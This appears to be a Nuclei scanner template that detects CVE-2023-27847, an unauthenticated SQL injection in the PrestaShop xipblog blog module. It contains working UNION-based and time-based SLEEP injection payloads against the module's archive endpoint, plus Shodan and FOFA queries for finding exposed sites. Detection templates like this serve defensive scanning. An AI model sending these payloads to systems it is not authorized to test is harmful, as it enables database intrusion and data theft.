CVE-2023-27847: PrestaShop xipblog - SQL Injection

id: CVE-2023-27847

info:
  name: PrestaShop xipblog - SQL Injection
  author: mastercho
  severity: critical
  description: |
    In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  reference:
    - https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27847
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27847
    cwe-id: CWE-89
    epss-score: 0.73171
    epss-percentile: 0.98724
  metadata:
    verified: true
    max-request: 2
    framework: prestashop
    shodan-query: html:"/xipblog"
    fofa-query: app="Prestashop"
  tags: time-based-sqli,cve,cve2023,prestashop,sqli,xipblog,vuln

flow: http(1) && http(2)

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(response), "prestashop", "xipblog")'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL--+- HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 30s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+(SELECT+5728+FROM+(SELECT(SLEEP(10)))AuDU)--+lafl HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    host-redirects: true
    matchers:
      - type: word
        name: union-based
        part: body_1
        words:
          - '{{md5({{num}})}}'

      - type: dsl
        name: time-based
        dsl:
          - 'duration_2>=10'
# digest: 4b0a00483046022100910f177fece73422f58aa50733db00787f6c1a76b3f6c66f53710512b190d9c8022100e2120038e0fefd1e5fd49549a077ca7ae8aa00c00474e4fc8749d83ebcd1cfa1:922c64590222798bb761d5b6d8e72950